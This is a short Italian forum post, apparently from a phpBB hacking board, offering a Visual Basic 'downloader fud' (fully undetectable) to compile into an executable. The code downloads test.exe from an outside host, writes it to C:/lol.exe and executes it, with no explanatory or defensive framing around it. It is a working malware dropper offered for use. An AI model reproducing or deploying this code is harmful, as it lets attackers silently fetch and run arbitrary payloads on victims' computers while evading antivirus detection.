Downloader fud ecco il codice da inserire in nuovo exe, form

[code linenumbers=false]Sub Main()
Dim MyInet As Object
Dim Lol() As Byte
Dim URL As String
Dim LocalX As String
URL = "http://cfj0-studios.net/test.exe"
LocalX = "C:/lol.exe"
Set MyInet = CreateObject("InetCtls.Inet")
Lol() = MyInet.OpenUrl(URL, icByteArray)
Open LocalX For Binary Access Write As #1
Put #1, 1, Lol()
Close #1
Shell LocalX, vbNormalFocus
End Sub[/code]Downloader, fud

Source viewer

Source viewer By ArmonyPHP Powered by phpBB © phpBB Group Design by phpBBStyles.com | Styles Database. Style by TD Creative for DooBDee.net.